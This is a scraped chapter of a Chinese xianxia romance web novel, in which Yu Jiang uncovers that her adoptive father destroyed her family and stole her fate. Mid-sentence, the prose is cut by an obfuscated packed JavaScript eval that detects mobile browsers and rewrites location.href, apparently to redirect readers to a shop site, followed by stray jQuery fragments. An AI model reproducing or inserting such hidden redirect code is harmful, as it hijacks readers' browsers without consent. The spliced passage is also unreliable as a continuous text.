默认冷灰
24号文字
方正启体

38. 大雪

作者:依夕吖本书字数:K更新时间:
    孟祈年回来时已是三更半夜了,他失魂落魄闯进来,带来一身寒气。


    虞绛还未睡,她坐在桌前,身侧只有一盏烛火,闻声望去。


    见到是孟祈年,她站起身,遮掩住桌上写好的东西,还未来得及开口,就被他紧紧抱住了。


    一颗四分五裂的心在心腔中缓缓跳动起来。


    烛火被他带进来的冷风撩得猛地一跳,灯花噼啪炸响。


    他的怀抱密不透风,虞绛贴在他心口,清楚的听见了自他胸腔中传出的颤音,耳边是他压抑的喘息声。


    半晌,她抬手,虚虚环住了他的腰。


    “阿年。”她的声音很轻,“出什么事了么?”


    抱着她的人松下力气,整个人依靠在她身上,虞绛只来得及揽住他的肩,两人跌在地面上。


    孟祈年将脸埋进她颈窝,滚烫的呼吸扫过她微凉的脸侧。


    “没事。”他哑着嗓子开口,“只是有些累了,我……”


    直到一只手轻缓的贴在他心口。


    虞绛困惑的问,“你这里好痛,为什么?”


    孟祈年倏地止住话音。


    他的呼吸瞬间乱了,虞绛看不清他的神色,但肩头却一片温热濡湿,他心口很烫,可虞绛却觉得他很冷。


    他张了张口,可喉间一片哽咽,他什么都说不出来。


    他想带她走,可天大地大,好像哪里都不是她的归处。


    他护不住她,也救不了她。


    将一切告诉她吗?


    有什么用呢?


    直到很久后,他颤抖僵冷的手按住她的。


    “别问。”他的声音很低,带着一丝罕见的恳求,“……求你别问,阿绛。”


    虞绛缓缓收回手,转而抚在他发顶。


    “好。”


    他只是抱着她,仿佛只要这样抱着,就能一直到天荒地老,那些血流成河的真相,那些伪善笑颜下的阴谋,就都与他们无关。


    **


    从那天起,孟祈年和父亲之间开始了微妙的冷战。


    青年眉眼间总是含着化不尽的霜雪,每日天不亮便早起修炼,他本就天赋卓绝,之后的半年里更是进境飞速。


    仙门的人都说大师兄疯了,这修炼方式简直是在自毁根基,孟望沉不住气,将他叫到主殿中,不过一盏茶的功夫,父子二人便不欢而散。


    偶尔在回廊撞见,二人擦肩而过,连一句寒暄都无。


    虞绛不明白,问他也只得到一句疲惫的——“无事。”


    可虞绛就是知道他有事。


    这半年,他总是深夜而归,满身疲惫地靠在她肩头。


    他常常梦魇,唤着她的名字从梦中惊醒,然后抱住她,她清楚的感觉到,他心口的冷越来越刺骨,却还是对她说“没事”。


    直到半年后的一日——


    孟望倒在了殿中。


    这位仙门宗主就要死了。


    **


    长生界没有四季,只在孟望死前才幻出了一场雪。


    绒白的雪落在殿角的飞檐上,落在廊间的桃枝上,落在虞绛肩头。


    她是悄悄跟过来的。


    她并不清楚这半年父子之间发生了什么,可孟祈年在得知父亲病危的消息时,神色实在不对。


    她躲在殿外,悄无声息的用了一张窃听符。


    殿内烛火昏沉,映得孟望苍老的脸一片灰败。这位执掌仙门半生、素来沉稳如山的宗主,此刻气息微弱,俨然是濒死之相。


    “祈年……”


    孟祈年跪在床前,面容惨白。


    “我知你……真心爱她,也知你怪我……”


    孟望的目光落在他浑噩的脸上,没有愧疚,只有一种近乎冷酷的决绝,“可我别无他法……错已铸成。只毁她一人,成我仙门百年荣耀。”


    孟祈年的指尖猛地蜷缩,指节泛出青白,深深掐进掌心的软肉里。


    他没有应声。


    良久,不知是痛苦还是讥讽,他缓缓呼出一口气。


    “切记。”孟望道,“不可……让她踏出仙门半步,也不能……叫她知晓禁殿里的东西。”


    孟祈年的脊背狠狠一颤。


    漫长到近乎窒息的沉默里,雪落的声音清晰可闻。


    他终于缓缓低下头,额前的碎发垂落,遮住了眼底翻涌的情绪。


    “……是。”


    床榻上的孟望缓缓闭上了眼,气息渐弱。


    而床边的青年,依旧保持着俯首跪地的姿势,一动不动。


    烛火跳跃,将他的影子拉得漫长而孤寂。


    虞绛僵立在殿外,冰凉的雪落在她发顶、脖间,直到刺骨的寒意渗进心腔、骨髓。


    她不知道自己是怎样离开的,再回过神时,雪地里漫开一行深深浅浅的脚印,她来到了后山——


    那个她此生从未曾踏足过的禁地中。


    扬扬白雪落满肩头,虞绛僵立在禁殿之外,良久,伸手一推。


    禁殿外的禁制本不是凡人之力能破开的,可那扇门就是开了。


    在虞绛掌心碰到的一瞬间,禁殿外禁制灵光乍亮,那扇沉重的大门在她面前缓缓张开,露出殿中的模样——


    浮在半空中的妖异红线在嗅到来人气息的一刻悬停,在无声的静默中山呼海啸着冲向隔绝它们与主人的阵法。


    那些红线那样轻盈,被阵法一荡,便又在半空中缠绕成一团。


    她指尖一片冰凉,颤抖着伸手贴在那道结界上——


    然后畅通无阻的通过了。


    耳后的图腾隐隐发热。在跨入阵法的一瞬间,扑面而来的悲戚与恨意压得她几乎窒息。


    就像有一把尖刀刺进了她的心口,那些复杂而纷乱的情绪就像是她自己的东西,那样清晰的涌在她心头。


    那缠绕一团的红线躁动着扑向她,却被她身上炸开的红光隔绝。


    虞绛全身僵直,半晌,她抬手,触上自己耳后滚烫的图腾。


    周围红线发出细碎的悲鸣,却仍旧飞蛾扑火的涌上来,撕心裂肺的痛苦与绝望在声声悲鸣中抵达她魂魄深处。


    “痛苦吗?”一道熟悉至极的声音从大殿中心幽幽传出,那声音极冷。


    只一眼,虞绛便入坠冰窟。


    那些被荡开的红线在法阵中心汇聚,与乍现的红光一起,凝结成人形——


    那是虞绛自己的脸。


    那是她,却又不是她。


    她没有这么冷的神色,痛苦又满是怨恨的、如同被苦囚在极北之地,眼底满是化不开的死寂,像沉了千百年的寒潭,没有半分活气。


    “痛苦吗?”祂笑起来,“你早该这样了,我等着一天,等了十一年。”


    “你到底是什么东西?”


    虞绛咬牙,握住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412560|200706||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    降春劈去。剑光带着破风之声,直直斩向那道与自己一模一样的面容,却在触到虚影的瞬间,如同斩进了虚空。


    祂又笑起来,离虞绛更近,眯着眼打量着她的神情,“我是什么东西?”


    “我就是你啊,虞绛。”祂声音中透着一丝诡异的笑,亲昵道,“我是你的一魂一魄啊。”


    虞绛浑身剧颤,指尖冰凉得没有一丝血色,雪水顺着发梢淌进衣领,冻得她牙关打颤,却半步都退不开,她在头痛欲裂中踉跄着跪倒。


    祂满目狰狞,“凭什么你能做一个什么都不知道的傻子?我被孟望剥出来,在这个不见天日的鬼地方等了你整整十一年!”


    “十一年……灭门之恨,囚禁之苦,我一刻也不敢忘……”祂的声音骤然变得极轻,飘近,凑在虞绛耳边,“你都忘了吧,你都不知道啊……”


    祂神色再次狰狞起来,“你认贼作父被蒙在鼓里十一年!还嫁给了仇人之子?!”


    “可笑你都不知道这殿中到底是什么东西。”


    虞绛茫然望进祂满是悲恨的眼里,无声无觉落了满脸的泪。


    祂满是恶意地道,“是转命阵啊。”


    “这满殿的红线,都是你的命格气运啊。”


    她在另一双眼眸里看清了自己的神情——狼狈至极,不可置信。


    祂一字一顿道,“十一年前虞家灭门,你真以为是邪修作祟吗?是孟望,他觊觎你的气运,借刀杀人又装作救命恩人将你带上长生界。”


    “他封你灵根,转你气运,所以你无法修炼,他为蒙蔽天道,所以不许你出长生界,他要捆你一辈子,所以将你嫁给孟祈年。”


    “十一年。”祂轻轻道,“你终于来了。”


    **


    雪下了一整夜。


    天亮时大雪刚好掩没了她来过的足迹。


    虞绛是被降春送回来的。


    降春剑温凉的剑身轻轻抵着她的小臂,剑柄上再次开出一朵花,它颤颤巍巍将小花举到虞绛眼前。


    半晌,虞绛转了转眼珠,迟钝的看过来。


    她眼皮早已红肿了,浑浑噩噩在原地坐了一整夜。


    虞绛终于开口,声音很轻,却哑得厉害,“……没事。”


    雪已经停了,天光大亮,长生界的雪来得突兀,去时也悄无声息,仿佛一切从未发生过。


    吱呀一声。


    门被推开了,虞绛抬起眼,和几步之外的孟祈年对上视线。


    一夜未眠的他眼底血红,满身寒气,他在原地站了半晌,踉跄着上前,伸手抱紧了她。


    “阿绛,你去哪了?”他的声音沙哑得像是被砂纸磨过,带着藏不住的慌乱与恐惧,“我刚刚回来见你不在屋内……”


    虞绛安静的被他抱住,漠然垂下眼。


    她心口早都痛得麻木了,此刻只能感受到几丝短暂的刺痒。


    满天满地的疲倦几乎要淹没她。


    她听见孟祈年微微哽咽道,“……他死了。”


    虞绛的眼珠这才轻轻一转。


    孟望死了啊。


    她漠然的想。


    然后安静回,“嗯。”


    “……我只有你了。”


    虞绛没有回答。


    她视线落在窗外,陷在满世界的冰雪里,眼眶里一阵温热。


    泪水落下,滑下脖颈——


    是冷的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)